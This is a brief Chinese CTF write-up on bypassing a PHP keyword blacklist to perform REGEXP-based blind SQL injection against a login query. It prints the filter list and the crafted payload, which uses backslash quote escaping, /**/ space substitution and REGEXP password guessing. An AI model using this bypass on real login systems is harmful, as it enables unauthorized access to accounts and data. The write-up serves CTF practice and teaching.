CTF Web安全

Mysql REGEXP正则注入

Posted on 2020-01-02,1 min read

过滤源码如下:

$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;

过滤了常用的。or啥的。不能用information库注入。
不多说了。REGEXP正则注入
猜测后台源码:

select * from user where username='name' and password='pass';
result['password']===result[ ′password′];

单引号被过滤。我们用反斜杠转移第一个name的单引号。sql语句就变成了
select * from user where username='$name\' and password='pass';
单引号成功逃逸。
由于空格被过滤。使用/**/绕过。
select * from user where username='' and password=' or password REGEXP "^admin"#'

下一篇: [GXYCTF2/SUCTF/INCTF](命令执行Bypass)→